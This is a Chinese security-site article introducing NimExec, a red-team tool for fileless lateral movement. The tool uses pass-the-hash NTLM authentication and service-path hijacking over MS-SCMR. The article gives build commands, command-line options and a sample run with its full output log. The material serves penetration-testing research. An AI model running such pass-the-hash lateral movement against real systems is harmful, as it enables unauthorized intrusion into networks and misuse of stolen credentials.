freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

如何使用NimExec通过无文件命令执行实现横向移动
Alpha_h4ck 2024-01-13 21:29:19 149698

关于NimExec

NimExec是一款功能强大的无文件远程命令执行工具,该工具专为红队研究人员设计,使用Nim语言开发,基于服务控制管理器远程协议(MS-SCMR)实现其功能,可以帮助广大研究人员在目标网络系统中实现横向移动。

工具运行机制

该工具可以修改LocalSystem运行的随机或给定服务的代码路径,以实现在目标设备上执行给定代码。执行完成后,该工具可以通过自定义的RPC数据包来恢复其初始状态。值得一提的是,该工具可以通过SMB2和svcctl命名管道来发送所有的数据包。

NimExec需要使用一个HTLM哈希来实现目标设备上的身份验证,然后通过手工制作的数据包和NTLM身份认证方法来完成身份验证过程。

由于所有需要的网络数据包都是手工制作的,并且不使用特定于操作系统的功能,因此通过使用Nim的交叉兼容性支持,NimExec可以在不同的操作系统中使用。

工具要求

Nim语言环境

测试平台

Windows 10/11

Windows Server 16/19/22

Ubuntu 20.04

工具下载

由于该工具基于Nim语言开发,因此我们首先需要在本地设备上安装并配置好Nim执行环境。

接下来,广大研究人员可以直接使用下列命令将该项目源码克隆至本地:

git clone https://github.com/frkngksl/NimExec.git

然后我们可以使用下列命令并通过Nimble安装该工具所需的Nim模块:

nimble install ptr_math nimcrypto hostname

代码编译

nim c -d:release --gc:markAndSweep -o:NimExec.exe Main.nim

上述命令将使用不同的Garbage Collector,因为Nim的默认Garbage Collector会在服务搜索进程的过程中报SIGSEGV错误。

命令行参数

-v | --verbose                          启用Verbose模式输出

    -u | --username <Username>            NTLM身份认证的用户名

    -h | --hash <NTLM Hash>               NTLM身份认证的NTLM密码哈希

    -p | --password <Password>            明文密码

    -t | --target <Target>                    横向移动目标

    -c | --command <Command>            要执行的命令

    -d | --domain <Domain>                 NTLM身份认证域名

    -s | --service <Service Name>            目标服务名称

    --help                                  查看工具帮助信息

工具使用样例

test@ubuntu:~/Desktop/NimExec$ ./NimExec -u testuser -d TESTLABS -h 123abcbde966780cef8d9ec24523acac -t 10.200.2.2 -c 'cmd.exe /c "echo test > C:\Users\Public\test.txt"' -v

 

                                                                                             _..._     

                                                                                          .-'_..._''.  

   _..._   .--. __  __   ___         __.....__                          __.....__       .' .'      '.\

 .'     '. |__||  |/  `.'   `.   .-''         '.                    .-''         '.    / .'            

.   .-.   ..--.|   .-.  .-.   ' /     .-''"'-.  `.                 /     .-''"'-.  `. . '              

|  '   '  ||  ||  |  |  |  |  |/     /________\   \ ____     _____/     /________\   \| |              

|  |   |  ||  ||  |  |  |  |  ||                  |`.   \  .'    /|                  || |              

|  |   |  ||  ||  |  |  |  |  |\    .-------------'  `.  `'    .' \    .-------------'. '              

|  |   |  ||  ||  |  |  |  |  | \    '-.____...---.    '.    .'    \    '-.____...---. \ '.          .

|  |   |  ||__||__|  |__|  |__|  `.             .'     .'     `.    `.             .'   '. `._____.-'/

|  |   |  |                        `''-...... -'     .'  .'`.   `.    `''-...... -'       `-.______ /  

|  |   |  |                                        .'   /    `.   `.                               `   

'--'   '--'                                       '----'       '----'                                  

 

                                            @R0h1rr1m          

 

 

[+] Connected to 10.200.2.2:445

[+] NTLM Authentication with Hash is succesfull!

[+] Connected to IPC Share of target!

[+] Opened a handle for svcctl pipe!

[+] Bound to the RPC Interface!

[+] RPC Binding is acknowledged!

[+] SCManager handle is obtained!

[+] Number of obtained services: 265

[+] Selected service is LxpSvc

[+] Service: LxpSvc is opened!

[+] Previous Service Path is: C:\Windows\system32\svchost.exe -k netsvcs

[+] Service config is changed!

[!] StartServiceW Return Value: 1053 (ERROR_SERVICE_REQUEST_TIMEOUT)

[+] Service start request is sent!

[+] Service config is restored!

[+] Service handle is closed!

[+] Service Manager handle is closed!

[+] SMB is closed!

[+] Tree is disconnected!

[+] Session logoff!

许可证协议

本项目的开发与发布遵循MIT开源许可证协议。

项目地址

NimExec:【GitHub传送门

参考资料

https://github.com/juliourena/SharpNoPSExec

https://github.com/Kevin-Robertson/Invoke-TheHash/blob/master/Invoke-SMBExec.ps1

https://winprotocoldoc.blob.core.windows.net/productionwindowsarchives/MS-SCMR/%5bMS-SCMR%5d.pdf

https://github.com/jborean93/pypsexec/tree/master

https://www.x86matthew.com/view_post?id=create_svc_rpc

# 网络安全 # NTLM # 横向移动 # 无文件 # Nim语言
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 Alpha_h4ck 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
Alpha_h4ck LV.10
好好学习,天天向上
  • 2359 文章数
  • 1021 关注者
Tetragon:一款基于eBPF的运行时环境安全监控工具
2025-01-21
DroneXtract:一款针对无人机的网络安全数字取证工具
2025-01-21
CNAPPgoat:一款针对云环境的安全实践靶场
2025-01-21
文章目录